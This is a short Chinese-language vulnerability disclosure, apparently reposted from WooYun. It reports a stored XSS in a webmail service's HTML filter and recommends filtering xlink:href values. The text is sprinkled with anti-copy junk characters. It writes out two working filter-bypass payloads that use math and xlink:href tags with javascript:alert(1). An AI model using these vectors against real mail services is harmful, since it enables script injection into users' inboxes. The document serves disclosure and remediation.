简要描述:对某标签和某属性过滤不严导致可以在邮件中植入恶意代码. ~. \" R; C9 _0 W2 B7 n1 ^( C
详细说明:按照老习惯通过支持html编辑的邮箱往目标邮箱海量发送xss vectors然后看漏了什么9 l, V" Z: j: A) ?% K% C
; r6 E' \8 u. H; g5 t. |- y3 G) h3 I; e0 F8 ]' }# u4 J3 S
可以看到我的svg被提前闭合了,rect里面的 width="1000" height="1000" fill="white"各种属性也和王力宏那首“你不在”一样,不见了。。不过貌似对于xlink:href没有过滤这是硬伤啊。接下来只要能让我插入math标签,这个问题基本上就算是解决了。
# [6 e1 V) X8 E& G2 }/ W2 R) Y而事实上。。。确实就那样成功了
3 @5 E, b/ D- ^7 I有效的payload如下:- <math><a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(1)" target="_blank">abc q<rect></rect></a> </math>
# w5 {# t1 i6 D: Z2 ?7 B
: m1 E) o1 N; R1 f8 v复制代码
3 a( ?; u. B4 t8 f当然也可以缩减一下,写成这样。- <math><a xlink:href=javascript:alert(1)>I'mshort
[! S8 C0 D2 `) } V
$ K8 R: Y+ Z' Q' d6 u1 e- I9 f8 L: [3 Y复制代码3 J2 }- N$ q: m% Z
漏洞证明:+ z" f* c( Z' q- l3 ]2 ^
: f" X$ z6 N) c3 V) Y! _7 {
) ^. I1 [( ~) Z' k3 I6 j! E3 Q* u6 F1 A% j1 i
修复方案:对xlink:href的value进行过滤。8 _, v, m" g# m' E* N
& C" l; A5 n4 x8 o/ j2 V, X# m来源 mramydnei@乌云
# c" O" S2 ]2 `' s& T5 U/ F X5 A
- u. W' [" A4 C+ }0 B1 B& O
|